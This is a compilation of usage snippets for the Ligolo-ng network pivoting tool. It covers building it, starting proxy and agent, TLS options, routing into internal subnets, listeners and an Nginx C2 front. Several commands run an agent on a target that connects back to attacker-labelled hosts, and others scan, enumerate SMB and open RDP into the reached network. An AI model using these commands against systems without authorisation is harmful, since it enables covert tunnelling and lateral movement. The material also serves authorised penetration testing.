### Launch Ligolo-NG Proxy Source: https://github.com/nicocha30/ligolo-ng/wiki/Configuring-a-reverse-proxy Start the proxy component using the specified certificate and key files. ```bash proxy -laddr https://LOCAL_IP:PORT -certfile /etc/letsencrypt/live/DNS_NAME/fullchain.pem -keyfile /etc/letsencrypt/live/DNS_NAME/privkey.pem ``` -------------------------------- ### Start Ligolo-ng Agent Source: https://github.com/nicocha30/ligolo-ng/wiki/Quickstart Command to start the agent on the target machine and connect it to the proxy server. ```shell $ ./agent -connect attacker_c2_server.com:11601 ``` -------------------------------- ### Start Ligolo-ng Proxy Server Source: https://github.com/nicocha30/ligolo-ng/wiki/Quickstart Commands to launch the proxy server with various TLS configuration options. ```shell $ ./proxy -h # Help options $ ./proxy -autocert # Automatically request LetsEncrypt certificates $ ./proxy -selfcert # Use self-signed certificates ``` -------------------------------- ### macOS Routing Setup Note Source: https://context7.com/nicocha30/ligolo-ng/llms.txt Provides a note regarding macOS routing setup, specifically mentioning the requirement for utun[0-9] interface naming. ```bash # Note: macOS requires utun[0-9] interface naming ``` -------------------------------- ### Start Tunneling Source: https://github.com/nicocha30/ligolo-ng/wiki/Quickstart Initiate the tunnel on the proxy server using the specified interface name. ```text [Agent : nchatelain@nworkstation] » tunnel_start --tun evil-cha [Agent : nchatelain@nworkstation] » INFO[0690] Starting tunnel to nchatelain@nworkstation ``` -------------------------------- ### Automate Network Routing Configuration Source: https://context7.com/nicocha30/ligolo-ng/llms.txt Automatically configures interfaces and routes, then starts the tunnel. Supports interactive selection of routes and interface creation, or non-interactive setup with pre-specified options. ```bash [Agent : user@workstation] » autoroute ? Select routes to add: [Use arrows to move, space to select] > [x] 192.168.0.30/24 [ ] 10.10.0.100/16 [x] fe80::1234:5678:abcd:ef01/64 ? Create a new interface or use an existing one? Create a new interface ? Enter interface name (leave empty for random name): internal-net INFO[0000] Using custom interface name: internal-net INFO[0001] Interface internal-net configured (will be created on tunnel start) INFO[0001] Creating routes for internal-net... ? Start the tunnel? Yes INFO[0002] Starting tunnel to user@workstation ``` ```bash # Autoroute with pre-specified interface name (non-interactive) [Agent : user@workstation] » autoroute --interface mynet ? Select routes to add: 192.168.0.30/24, 10.10.0.100/16 INFO[0000] Using custom interface name: mynet ... ``` ```bash # Include IPv6 routes [Agent : user@workstation] » autoroute --with-ipv6 ``` -------------------------------- ### Start Ligolo-NG Agent as Server Source: https://github.com/nicocha30/ligolo-ng/wiki/Bind Use the `--bind` argument to make the agent listen for incoming connections on a specified IP address and port. This is an alternative to using the `--connect` argument for establishing outbound connections. ```bash ligolo-agent -bind 127.0.0.1:4444 WARN[0000] TLS Certificate fingerprint is: 05518ABE4F0D3B137A2365E0DE52A01FE052EE4C5A2FD12D8E2DD93AED1DD04B INFO[0000] Listening on 127.0.0.1:4444... INFO[0005] Got connection from: 127.0.0.1:53908 INFO[0005] Connection established addr="127.0.0.1:53908" ``` -------------------------------- ### Start Proxy and Agent with Reverse Proxy Source: https://context7.com/nicocha30/ligolo-ng/llms.txt Commands to launch the Ligolo-ng proxy and agent components when using an Nginx reverse proxy. ```bash # Start proxy to work with Nginx reverse proxy ./proxy -laddr https://127.0.0.1:11601 \ -certfile /etc/letsencrypt/live/c2.example.com/fullchain.pem \ -keyfile /etc/letsencrypt/live/c2.example.com/privkey.pem # Agent connects through the reverse proxy ./agent -connect https://c2.example.com ``` -------------------------------- ### Start Tunnel Source: https://context7.com/nicocha30/ligolo-ng/llms.txt Initiates a tunnel connection to the specified agent. Can use a default or custom interface name. ```bash # Start tunnel with default interface name [Agent : user@workstation] » tunnel_start INFO[0000] Starting tunnel to user@workstation ``` ```bash # Start tunnel with specific interface [Agent : user@workstation] » tunnel_start --tun myinterface INFO[0000] Starting tunnel to user@workstation (myinterface) ``` ```bash # Alternative command (alias) [Agent : user@workstation] » start --tun myinterface ``` -------------------------------- ### Build Ligolo-ng Agent and Proxy Source: https://github.com/nicocha30/ligolo-ng/wiki/Installing-Building-Ligolo‐ng Compile the Ligolo-ng agent and proxy for the current operating system using Go. Ensure Go version 1.20 or higher is installed. ```shell $ go build -o agent cmd/agent/main.go $ go build -o proxy cmd/proxy/main.go ``` -------------------------------- ### Start Ligolo-ng Agent Source: https://context7.com/nicocha30/ligolo-ng/llms.txt Deploy and run the agent on target systems to establish reverse connections back to the proxy. Supports various connection modes including direct TCP, WebSocket, and connections through SOCKS5 or HTTP proxies. Automatic connection recovery is enabled by default. ```bash # Basic connection to proxy server ./agent -connect attacker.example.com:11601 ``` ```bash # Connect with verbose logging ./agent -connect attacker.example.com:11601 -v ``` ```bash # Connect through a SOCKS5 proxy ./agent -connect attacker.example.com:11601 -proxy socks5://proxy.internal:1080 ``` ```bash # Connect through authenticated SOCKS5 proxy ./agent -connect attacker.example.com:11601 -proxy socks5://user:pass@proxy.internal:1080 ``` ```bash # Connect through HTTP proxy (WebSocket mode) ./agent -connect https://attacker.example.com:443 -proxy http://proxy.internal:8080 ``` ```bash # Connect with specific TLS certificate fingerprint validation (recommended) ./agent -connect attacker.example.com:11601 -accept-fingerprint D005527D2683A8F2DB73022FBF23188E064493CFA17D6FCF257E14F4B692E0FC ``` ```bash # Ignore certificate validation (for testing only - dangerous in production) ./agent -connect attacker.example.com:11601 -ignore-cert ``` ```bash # Enable automatic retry on initial connection failure ./agent -connect attacker.example.com:11601 -retry -retry-delay 10 ``` ```bash # Configure reconnection behavior ./agent -connect attacker.example.com:11601 -reconnect -reconnect-delay 30 -reconnect-timeout 600 ``` ```bash # Custom User-Agent for WebSocket connections ./agent -connect https://attacker.example.com:443 -ua "Mozilla/5.0 (compatible; CustomBot/1.0)" ``` ```text # Example output on successful connection: # INFO[0000] Connection established addr="attacker.example.com:11601" ``` -------------------------------- ### Network Scanning and Remote Desktop Source: https://github.com/nicocha30/ligolo-ng/wiki/Quickstart Examples of using nmap for network scanning and rdesktop for remote desktop access to a network that has been made accessible via routing. ```shell $ nmap 192.168.0.0/24 -v -sV -n [...] $ rdesktop 192.168.0.123 [...] ``` -------------------------------- ### Execute Network Tools over Tunnel Source: https://context7.com/nicocha30/ligolo-ng/llms.txt Examples of using standard networking and enumeration tools directly through the established Ligolo-ng tunnel. ```bash # Network scanning with nmap (use --unprivileged for best results) nmap -sV -sC 192.168.0.0/24 --unprivileged nmap -sV 192.168.0.1-254 -p 22,80,443,445,3389 nmap -sU -p 53,161 192.168.0.1 --unprivileged # Remote desktop access rdesktop 192.168.0.100 xfreerdp /v:192.168.0.100 /u:administrator # SSH access ssh admin@192.168.0.50 # Web access curl http://192.168.0.100/api/status firefox http://192.168.0.100 # SMB enumeration smbclient -L //192.168.0.10/ -U administrator crackmapexec smb 192.168.0.0/24 # Database connections mysql -h 192.168.0.20 -u root -p psql -h 192.168.0.21 -U postgres # Performance testing iperf3 -c 192.168.0.1 -p 5201 # Expected throughput: 100+ Mbits/sec ``` -------------------------------- ### Start Ligolo-ng Proxy Server Source: https://context7.com/nicocha30/ligolo-ng/llms.txt Launch the proxy server with various TLS configuration options, including automatic Let's Encrypt certificates, self-signed certificates, or custom certificate files. The default listening port is 11601. ```bash # Display all available options ./proxy -h ``` ```bash # Start with automatic Let's Encrypt certificate (requires port 80 accessible) ./proxy -autocert ``` ```bash # Start with self-signed certificate (recommended for internal testing) ./proxy -selfcert ``` ```bash # Start with custom TLS certificates ./proxy -certfile /path/to/cert.pem -keyfile /path/to/key.pem ``` ```bash # Start with custom listening address ./proxy -laddr 0.0.0.0:443 -selfcert ``` ```bash # Start in daemon mode with config file ./proxy -daemon -config /etc/ligolo/config.yaml ``` ```text # Example output when starting: # INFO[0000] Listening on 0.0.0.0:11601... # INFO[0000] TLS Certificate fingerprint is: D005527D2683A8F2DB73022FBF23188E064493CFA17D6FCF257E14F4B692E0FC ``` -------------------------------- ### Start Ligolo-ng Agent in Bind Mode Source: https://context7.com/nicocha30/ligolo-ng/llms.txt Run the agent in server mode, listening for incoming proxy connections. This is useful when target network restricts outbound connections but allows inbound ones. The agent generates a self-signed certificate and displays its fingerprint for verification. ```bash # Start agent in bind mode listening on all interfaces ./agent -bind 0.0.0.0:4444 ``` ```bash # Start agent in bind mode on specific interface ./agent -bind 192.168.1.100:4444 ``` -------------------------------- ### Launch Ligolo-NG Agent Source: https://github.com/nicocha30/ligolo-ng/wiki/Configuring-a-reverse-proxy Connect the agent to the proxy via the configured DNS name. ```bash agent -connect https://DNS_NAME ``` -------------------------------- ### Build Agent and Proxy Binaries Source: https://context7.com/nicocha30/ligolo-ng/llms.txt Build the agent and proxy binaries for the current platform or cross-compile for different operating systems and architectures using Go. ```bash # Build the agent binary for current platform go build -o agent cmd/agent/main.go ``` ```bash # Build the proxy binary for current platform go build -o proxy cmd/proxy/main.go ``` ```bash # Cross-compile agent for Windows GOOS=windows go build -o agent.exe cmd/agent/main.go ``` ```bash # Cross-compile proxy for Windows GOOS=windows go build -o proxy.exe cmd/proxy/main.go ``` ```bash # Cross-compile agent for Linux ARM64 GOOS=linux GOARCH=arm64 go build -o agent-arm64 cmd/agent/main.go ``` -------------------------------- ### Windows: Verify Routes Source: https://context7.com/nicocha30/ligolo-ng/llms.txt Displays all configured network routes on a Windows system. ```powershell route print ``` -------------------------------- ### Linux: Verify Routes on TUN Interface Source: https://context7.com/nicocha30/ligolo-ng/llms.txt Displays all configured routes associated with the 'ligolo' TUN interface on Linux. Requires root privileges. ```bash ip route show dev ligolo ``` -------------------------------- ### Create Linux TUN Interface Source: https://github.com/nicocha30/ligolo-ng/wiki/Quickstart Manually create a tun interface on the proxy server for Linux systems. ```shell $ sudo ip tuntap add user [your_username] mode tun ligolo $ sudo ip link set ligolo up ``` -------------------------------- ### Build Ligolo-ng for Windows Source: https://github.com/nicocha30/ligolo-ng/wiki/Installing-Building-Ligolo‐ng Cross-compile the Ligolo-ng agent and proxy for Windows using Go. This requires setting the GOOS environment variable to 'windows'. ```shell $ GOOS=windows go build -o agent.exe cmd/agent/main.go $ GOOS=windows go build -o proxy.exe cmd/proxy/main.go ``` -------------------------------- ### Create Interface via Ligolo-ng CLI Source: https://github.com/nicocha30/ligolo-ng/wiki/Quickstart Create a new interface directly using the Ligolo-ng command line interface, available in versions 0.6 and later. ```text ligolo-ng » interface_create --name "evil-cha" INFO[3185] Creating a new "evil-cha" interface... INFO[3185] Interface created! ``` -------------------------------- ### Connect Ligolo-NG Proxy to Agent Source: https://github.com/nicocha30/ligolo-ng/wiki/Bind Use the `connect_agent` command in the ligolo-ng proxy to establish a connection to an agent that is listening via a bind connection. You will need to provide the IP address and port of the agent. ```bash ligolo-ng » connect_agent --ip 127.0.0.1:4444 ? TLS Certificate Fingerprint is: 05518ABE4F0D3B137A2365E0DE52A01FE052EE4C5A2FD12D8E2DD93AED1DD04B, connect? Yes INFO[0021] Agent connected. name=nchatelain@nworkstation remote="127.0.0.1:4444" ``` -------------------------------- ### Add Windows Route Source: https://github.com/nicocha30/ligolo-ng/wiki/Quickstart Use 'netsh' to add a route on Windows. Replace '[THE INTERFACE IDX]' with the actual interface index obtained from 'netsh int ipv4 show interfaces'. ```shell > netsh int ipv4 show interfaces Idx Mét MTU État Nom --- ---------- ---------- ------------ --------------------------- 25 5 65535 connected ligolo > route add 192.168.0.0 mask 255.255.255.0 0.0.0.0 if [THE INTERFACE IDX] ``` -------------------------------- ### Verify Listener on Proxy Source: https://github.com/nicocha30/ligolo-ng/wiki/Listeners Uses netcat to listen on the specified proxy port, allowing verification of connections redirected from the agent listener. This command should be run on the proxy server. ```shell $ nc -lvp 4321 ``` -------------------------------- ### Connect to Ligolo-ng Agent Source: https://context7.com/nicocha30/ligolo-ng/llms.txt Connect the proxy server to an agent running in bind mode. Use --ignore-cert to bypass TLS verification, but this is not recommended for security reasons. ```bash ligolo-ng » connect_agent --ip 192.168.1.100:4444 ``` ```bash ligolo-ng » connect_agent --ip 192.168.1.100:4444 --ignore-cert ``` -------------------------------- ### Linux: Create TUN Interface Source: https://context7.com/nicocha30/ligolo-ng/llms.txt Manually creates a TUN interface on Linux, which is an alternative to using the 'interface_create' command. Requires root privileges. ```bash sudo ip tuntap add user yourusername mode tun ligolo sudo ip link set ligolo up ``` -------------------------------- ### Windows: List Network Interfaces Source: https://context7.com/nicocha30/ligolo-ng/llms.txt Lists all network interfaces on a Windows system to help identify the Ligolo interface index. This index is needed for adding routes. ```powershell netsh int ipv4 show interfaces ``` -------------------------------- ### Test network throughput with iperf3 Source: https://github.com/nicocha30/ligolo-ng/blob/master/README.md Use this command to measure the connection speed between the agent and the server. ```shell $ iperf3 -c 10.10.0.1 -p 24483 Connecting to host 10.10.0.1, port 24483 [ 5] local 10.10.0.224 port 50654 connected to 10.10.0.1 port 24483 [ ID] Interval Transfer Bitrate Retr Cwnd [ 5] 0.00-1.00 sec 12.5 MBytes 105 Mbits/sec 0 164 KBytes [ 5] 1.00-2.00 sec 12.7 MBytes 107 Mbits/sec 0 263 KBytes [ 5] 2.00-3.00 sec 12.4 MBytes 104 Mbits/sec 0 263 KBytes [ 5] 3.00-4.00 sec 12.7 MBytes 106 Mbits/sec 0 263 KBytes [ 5] 4.00-5.00 sec 13.1 MBytes 110 Mbits/sec 2 134 KBytes [ 5] 5.00-6.00 sec 13.4 MBytes 113 Mbits/sec 0 147 KBytes [ 5] 6.00-7.00 sec 12.6 MBytes 105 Mbits/sec 0 158 KBytes [ 5] 7.00-8.00 sec 12.1 MBytes 101 Mbits/sec 0 173 KBytes [ 5] 8.00-9.00 sec 12.7 MBytes 106 Mbits/sec 0 182 KBytes [ 5] 9.00-10.00 sec 12.6 MBytes 106 Mbits/sec 0 188 KBytes - - - - - - - - - - - - - - - - - - - - - - - - - [ ID] Interval Transfer Bitrate Retr [ 5] 0.00-10.00 sec 127 MBytes 106 Mbits/sec 2 sender [ 5] 0.00-10.08 sec 125 MBytes 104 Mbits/sec receiver ``` -------------------------------- ### Add Localhost Route for Agent Access (Ligolo-ng CLI) Source: https://context7.com/nicocha30/ligolo-ng/llms.txt Adds a route using the Ligolo-ng CLI to enable access to the agent's localhost services. This command should be run on the proxy server. ```bash ligolo-ng » route_add --name ligolo --route 240.0.0.1/32 ``` -------------------------------- ### Add Localhost Route for Agent Access (Linux System Command) Source: https://context7.com/nicocha30/ligolo-ng/llms.txt Manually adds a route for localhost access on Linux systems using the 'ip route' command. Requires root privileges. ```bash sudo ip route add 240.0.0.1/32 dev ligolo ``` -------------------------------- ### Manage Sessions Source: https://github.com/nicocha30/ligolo-ng/wiki/Quickstart Commands to view agent connection status and select a session for tunneling. ```text INFO[0102] Agent joined. name=nchatelain@nworkstation remote="XX.XX.XX.XX:38000" ``` ```text ligolo-ng » session ? Specify a session : 1 - nchatelain@nworkstation - XX.XX.XX.XX:38000 ``` -------------------------------- ### Add UDP Listener Source: https://context7.com/nicocha30/ligolo-ng/llms.txt Establishes a UDP listener on the agent, forwarding traffic to a specified destination. Essential for handling UDP-based callbacks or services. ```bash # Create UDP listener [Agent : user@workstation] » listener_add --addr 0.0.0.0:53 --to 127.0.0.1:5353 --udp INFO[1210] Listener 1 created on remote agent! ``` -------------------------------- ### Linux: Add Route to Additional Networks Source: https://context7.com/nicocha30/ligolo-ng/llms.txt Adds routes to additional networks (e.g., 10.10.0.0/16) via the 'ligolo' TUN interface on Linux. Requires root privileges. ```bash sudo ip route add 10.10.0.0/16 dev ligolo ``` -------------------------------- ### Display Network Configuration Source: https://github.com/nicocha30/ligolo-ng/wiki/Quickstart Check the agent's network interface details to determine routing requirements. ```text [Agent : nchatelain@nworkstation] » ifconfig [...] ┌─────────────────────────────────────────────┐ │ Interface 3 │ ├──────────────┬──────────────────────────────┤ │ Name │ wlp3s0 │ │ Hardware MAC │ de:ad:be:ef:ca:fe │ │ MTU │ 1500 │ │ Flags │ up|broadcast|multicast │ │ IPv4 Address │ 192.168.0.30/24 │ └─────────────────────────────────────────────┘ ``` -------------------------------- ### Add TCP Listener on Agent Source: https://github.com/nicocha30/ligolo-ng/wiki/Listeners Creates a TCP listening socket on the agent and redirects connections to a specified port on the proxy server. Ensure the agent and proxy are running and accessible. ```bash [Agent : nchatelain@nworkstation] » listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4321 --tcp INFO[1208] Listener created on remote agent! ``` -------------------------------- ### View Agent Network Interfaces Source: https://context7.com/nicocha30/ligolo-ng/llms.txt Displays network interfaces and their associated IPv4 and IPv6 addresses on the connected agent. Useful for understanding the agent's network environment. ```bash [Agent : user@workstation] » ifconfig ┌─────────────────────────────────────────────┐ │ Interface 0 │ ├──────────────┬──────────────────────────────┤ │ Name │ lo │ │ Hardware MAC │ │ │ MTU │ 65536 │ │ Flags │ up|loopback │ │ IPv4 Address │ 127.0.0.1/8 │ │ IPv6 Address │ ::1/128 │ └──────────────┴──────────────────────────────┘ ┌─────────────────────────────────────────────┐ │ Interface 1 │ ├──────────────┬──────────────────────────────┤ │ Name │ eth0 │ │ Hardware MAC │ de:ad:be:ef:ca:fe │ │ MTU │ 1500 │ │ Flags │ up|broadcast|multicast │ │ IPv4 Address │ 192.168.0.30/24 │ │ IPv6 Address │ fe80::1234:5678:abcd:ef01/64 │ └──────────────┴──────────────────────────────┘ ┌─────────────────────────────────────────────┐ │ Interface 2 │ ├──────────────┬──────────────────────────────┤ │ Name │ eth1 │ │ Hardware MAC │ ca:fe:ba:be:12:34 │ │ MTU │ 1500 │ │ Flags │ up|broadcast|multicast │ │ IPv4 Address │ 10.10.0.100/16 │ └──────────────┴──────────────────────────────┘ ``` -------------------------------- ### Configure macOS Tunnel Interface Source: https://context7.com/nicocha30/ligolo-ng/llms.txt Commands to initialize a TUN interface on macOS, assign an alias IP, and manage routing tables. ```bash # Start tunnel with macOS-compatible interface name [Agent : user@workstation] » tunnel_start --tun utun4 # Configure the interface with an alias IP sudo ifconfig utun4 alias 10.255.255.1 255.255.255.0 # Add route to target network sudo route add -net 192.168.0.0/24 -interface utun4 # Add route to additional network sudo route add -net 10.10.0.0/16 -interface utun4 # Verify routes netstat -rn | grep utun4 # Remove a route sudo route delete -net 192.168.0.0/24 # Remove interface alias sudo ifconfig utun4 -alias 10.255.255.1 ``` -------------------------------- ### Manage TLS Certificate Fingerprints Source: https://github.com/nicocha30/ligolo-ng/wiki/Quickstart Commands to display the current certificate fingerprint and connect an agent using that fingerprint. ```text ligolo-ng » certificate_fingerprint INFO[0203] TLS Certificate fingerprint for ligolo is: D005527D2683A8F2DB73022FBF23188E064493CFA17D6FCF257E14F4B692E0FC ``` ```text ligolo-agent -connect 127.0.0.1:11601 -v -accept-fingerprint D005527D2683A8F2DB73022FBF23188E064493CFA17D6FCF257E14F4B692E0FC nchatelain@nworkstation INFO[0000] Connection established addr="127.0.0.1:11601" ``` -------------------------------- ### List Active Listeners Source: https://context7.com/nicocha30/ligolo-ng/llms.txt Displays all currently active listeners managed by the agent. Use this to view active connections and their details. ```bash [Agent : user@workstation] » listener_list ``` -------------------------------- ### Configure macOS Routing Source: https://github.com/nicocha30/ligolo-ng/wiki/Quickstart On macOS, use 'ifconfig' to assign an IP alias to the utun interface and 'route' to add a network route through it. Ensure you have administrator privileges. ```shell $ sudo ifconfig utun4 alias [random_ip] 255.255.255.0 $ sudo route add -net 192.168.2.0/24 -interface utun4 ``` -------------------------------- ### Connect to SSH on Agent's Localhost Source: https://context7.com/nicocha30/ligolo-ng/llms.txt Connects to an SSH service running on the agent's localhost using ssh. The magic IP 240.0.0.1 is used. ```bash ssh user@240.0.0.1 ``` -------------------------------- ### Configure Routing Source: https://github.com/nicocha30/ligolo-ng/wiki/Quickstart Add routes to the tunnel using either the system terminal or the Ligolo-ng CLI. ```shell $ sudo ip route add 192.168.0.0/24 dev ligolo ``` ```text ligolo-ng » interface_add_route --name evil-cha --route 192.168.2.0/24 INFO[3206] Route created. ``` -------------------------------- ### List Active Listeners on Agent Source: https://github.com/nicocha30/ligolo-ng/wiki/Listeners Displays all currently active listeners configured on the agent, showing their assigned numbers, agent addresses, and proxy redirect addresses. This is useful for managing multiple listeners. ```bash [Agent : nchatelain@nworkstation] » listener_list ┌───────────────────────────────────────────────────────────────────────────────┐ │ Active listeners │ ├───┬─────────────────────────┬────────────────────────┬────────────────────────┤ │ # │ AGENT │ AGENT LISTENER ADDRESS │ PROXY REDIRECT ADDRESS │ ├───┼─────────────────────────┼────────────────────────┼────────────────────────┤ │ 0 │ nchatelain@nworkstation │ 0.0.0.0:1234 │ 127.0.0.1:4321 │ └───┴─────────────────────────┴────────────────────────┴────────────────────────┘ ``` -------------------------------- ### Windows: Add Persistent Route Source: https://context7.com/nicocha30/ligolo-ng/llms.txt Adds a persistent route to a target network on Windows that will survive reboots. Requires administrator privileges. Replace '25' with the correct interface index. ```powershell route -p add 192.168.0.0 mask 255.255.255.0 0.0.0.0 if 25 ``` -------------------------------- ### Add TCP Listener Source: https://context7.com/nicocha30/ligolo-ng/llms.txt Creates a TCP listener on a specified agent port, redirecting connections to a local proxy port. Useful for receiving inbound connections like reverse shells. ```bash # Create TCP listener on agent port 1234, redirect to proxy port 4321 [Agent : user@workstation] » listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4321 --tcp INFO[1208] Listener 0 created on remote agent! ``` ```bash # Create listener on specific interface [Agent : user@workstation] » listener_add --addr 192.168.0.30:8080 --to 127.0.0.1:80 --tcp INFO[1212] Listener 2 created on remote agent! ``` -------------------------------- ### Agent Connection with Fingerprint Verification Source: https://context7.com/nicocha30/ligolo-ng/llms.txt Connects an agent to the proxy using a specific TLS certificate fingerprint for verification. Replace the fingerprint with the actual one. ```bash ./agent -connect attacker.example.com:11601 -accept-fingerprint D005527D2683A8F2DB73022FBF23188E064493CFA17D6FCF257E14F4B692E0FC ``` -------------------------------- ### Access MySQL on Agent's Localhost Source: https://context7.com/nicocha30/ligolo-ng/llms.txt Connects to a MySQL service running on the agent's localhost using the mysql client. The magic IP 240.0.0.1 is used. ```bash mysql -h 240.0.0.1 -u root -p ``` -------------------------------- ### Windows: Add Route to Additional Network Source: https://context7.com/nicocha30/ligolo-ng/llms.txt Adds a route to an additional network (e.g., 10.10.0.0/16) on Windows using the 'route add' command. Requires administrator privileges. Replace '25' with the correct interface index. ```powershell route add 10.10.0.0 mask 255.255.0.0 0.0.0.0 if 25 ``` -------------------------------- ### Agent Session Control Aliases Source: https://context7.com/nicocha30/ligolo-ng/llms.txt Provides alternative commands (aliases) for killing an agent session. These can be used interchangeably with the 'kill' command. ```bash [Agent : user@workstation] » agent_kill ``` ```bash [Agent : user@workstation] » session_kill ``` -------------------------------- ### Linux: Add Route to Target Network Source: https://context7.com/nicocha30/ligolo-ng/llms.txt Adds a route to a target network (e.g., 192.168.0.0/24) via the 'ligolo' TUN interface on Linux. Requires root privileges. ```bash sudo ip route add 192.168.0.0/24 dev ligolo ``` -------------------------------- ### Configure Nginx Reverse Proxy for Ligolo-NG Source: https://github.com/nicocha30/ligolo-ng/wiki/Configuring-a-reverse-proxy Use this server block to route traffic to the Ligolo-NG listener. Ensure the SSL certificate paths are updated to match your environment. ```nginx server { server_name DNS_NAME; index index.html; location / { proxy_set_header Host $host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header Upgrade websocket; proxy_set_header Connection Upgrade; proxy_http_version 1.1; proxy_pass https://LOCAL_IP:PORT; } listen 443 ssl; ssl_certificate /etc/letsencrypt/live/DNS_NAME/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/DNS_NAME/privkey.pem; include /etc/letsencrypt/options-ssl-nginx.conf; ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; } ``` -------------------------------- ### Manage Ligolo-ng Agent Sessions Source: https://context7.com/nicocha30/ligolo-ng/llms.txt Select and manage connected agent sessions. The prompt changes to reflect the active agent after selection. Use tunnel_list to view all active sessions and their tunnel status. ```bash ligolo-ng » session ``` ```bash [Agent : user@workstation] » ``` ```bash ligolo-ng » tunnel_list ``` -------------------------------- ### Access Web Service on Agent's Localhost Source: https://context7.com/nicocha30/ligolo-ng/llms.txt Accesses a web service running on the agent's localhost using curl. The magic IP 240.0.0.1 is used. ```bash curl http://240.0.0.1:8000 ``` -------------------------------- ### Add Route to Ligolo-ng Interface Source: https://context7.com/nicocha30/ligolo-ng/llms.txt Add network routes to direct traffic through a TUN interface. Routes can be added for specific networks, including the agent's localhost access using a magic CIDR. ```bash ligolo-ng » route_add --name ligolo --route 192.168.0.0/24 ``` ```bash ligolo-ng » route_add --name ligolo --route 10.10.0.0/16 ``` ```bash ligolo-ng » route_add --name ligolo --route 240.0.0.1/32 ``` -------------------------------- ### Create Ligolo-ng TUN Interface Source: https://context7.com/nicocha30/ligolo-ng/llms.txt Create and manage TUN interfaces for tunnel routing. Ligolo-ng supports automatic configuration on various operating systems. Interfaces can be created with custom names or auto-generated names. ```bash ligolo-ng » interface_create --name mytunnel ``` ```bash ligolo-ng » interface_create ``` ```bash ligolo-ng » interface_list ``` -------------------------------- ### Windows: Add Route to Target Network Source: https://context7.com/nicocha30/ligolo-ng/llms.txt Adds a route to a target network (e.g., 192.168.0.0/24) on Windows using the 'route add' command. Requires administrator privileges. Replace '25' with the correct interface index. ```powershell route add 192.168.0.0 mask 255.255.255.0 0.0.0.0 if 25 ``` -------------------------------- ### Add Route for Agent Local Port Access Source: https://github.com/nicocha30/ligolo-ng/wiki/Localhost Add a static route to direct traffic for a specific IP within the Ligolo-NG magic subnet to the 'ligolo' device. This is a prerequisite for accessing agent local ports. ```bash $ sudo ip route add 240.0.0.1/32 dev ligolo ``` -------------------------------- ### Scan Agent Local Port with Nmap Source: https://github.com/nicocha30/ligolo-ng/wiki/Localhost Scan a specific IP address within the Ligolo-NG magic subnet using nmap to discover open ports and services on the agent's local machine. Ensure the route is added prior to scanning. ```bash $ nmap 240.0.0.1 -sV Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-30 22:17 CET Nmap scan report for 240.0.0.1 Host is up (0.023s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) 8000/tcp open http SimpleHTTPServer 0.6 (Python 3.9.2) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 7.16 seconds ``` -------------------------------- ### iperf3 Performance Test Source: https://github.com/nicocha30/ligolo-ng/wiki/Misc Demonstrates a network performance test using iperf3 to measure throughput between two points. This test was conducted from a 200Mbits/s server to a 200Mbits/s connection, achieving over 100 Mbits/sec. ```shell $ iperf3 -c 10.10.0.1 -p 24483 Connecting to host 10.10.0.1, port 24483 [ 5] local 10.10.0.224 port 50654 connected to 10.10.0.1 port 24483 [ ID] Interval Transfer Bitrate Retr Cwnd [ 5] 0.00-1.00 sec 12.5 MBytes 105 Mbits/sec 0 164 KBytes [ 5] 1.00-2.00 sec 12.7 MBytes 107 Mbits/sec 0 263 KBytes [ 5] 2.00-3.00 sec 12.4 MBytes 104 Mbits/sec 0 263 KBytes [ 5] 3.00-4.00 sec 12.7 MBytes 106 Mbits/sec 0 263 KBytes [ 5] 4.00-5.00 sec 13.1 MBytes 110 Mbits/sec 2 134 KBytes [ 5] 5.00-6.00 sec 13.4 MBytes 113 Mbits/sec 0 147 KBytes [ 5] 6.00-7.00 sec 12.6 MBytes 105 Mbits/sec 0 158 KBytes [ 5] 7.00-8.00 sec 12.1 MBytes 101 Mbits/sec 0 173 KBytes [ 5] 8.00-9.00 sec 12.7 MBytes 106 Mbits/sec 0 182 KBytes [ 5] 9.00-10.00 sec 12.6 MBytes 106 Mbits/sec 0 188 KBytes - - - - - - - - - - - - - - - - - - - - - - - - - [ ID] Interval Transfer Bitrate Retr [ 5] 0.00-10.00 sec 127 MBytes 106 Mbits/sec 2 sender [ 5] 0.00-10.08 sec 125 MBytes 104 Mbits/sec receiver ``` -------------------------------- ### Scan Agent's Localhost Services with Nmap Source: https://context7.com/nicocha30/ligolo-ng/llms.txt Scans services running on the agent's localhost using Nmap after setting up the necessary route. The magic IP 240.0.0.1 is used. ```bash # Now scan agent's localhost services nmap 240.0.0.1 -sV ``` -------------------------------- ### Kill Selected Agent Source: https://context7.com/nicocha30/ligolo-ng/llms.txt Terminates the currently selected agent session. Confirmation is required before proceeding. ```bash [Agent : user@workstation] » kill ? Are you sure to kill the current agent? Yes ``` -------------------------------- ### Stop a Listener Interactively Source: https://context7.com/nicocha30/ligolo-ng/llms.txt Allows interactive stopping of a specific listener. You will be prompted to select the listener to terminate. ```bash [Agent : user@workstation] » listener_stop ``` -------------------------------- ### Linux: Delete TUN Interface Source: https://context7.com/nicocha30/ligolo-ng/llms.txt Deletes the 'ligolo' TUN interface on Linux. Requires root privileges. ```bash sudo ip link delete ligolo ``` -------------------------------- ### Display TLS Certificate Fingerprint Source: https://context7.com/nicocha30/ligolo-ng/llms.txt Displays the current self-signed TLS certificate fingerprint on the proxy. This fingerprint is used for agent connection verification. ```bash ligolo-ng » certificate_fingerprint ``` -------------------------------- ### Nginx Reverse Proxy Configuration Source: https://context7.com/nicocha30/ligolo-ng/llms.txt Nginx server block configured to proxy Ligolo-ng traffic over WebSockets with SSL termination. ```nginx server { server_name c2.example.com; index index.html; location / { proxy_set_header Host $host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header Upgrade websocket; proxy_set_header Connection Upgrade; proxy_http_version 1.1; proxy_pass https://127.0.0.1:11601; } listen 443 ssl; ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem; include /etc/letsencrypt/options-ssl-nginx.conf; ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; } ``` -------------------------------- ### Stop Listener on Agent Source: 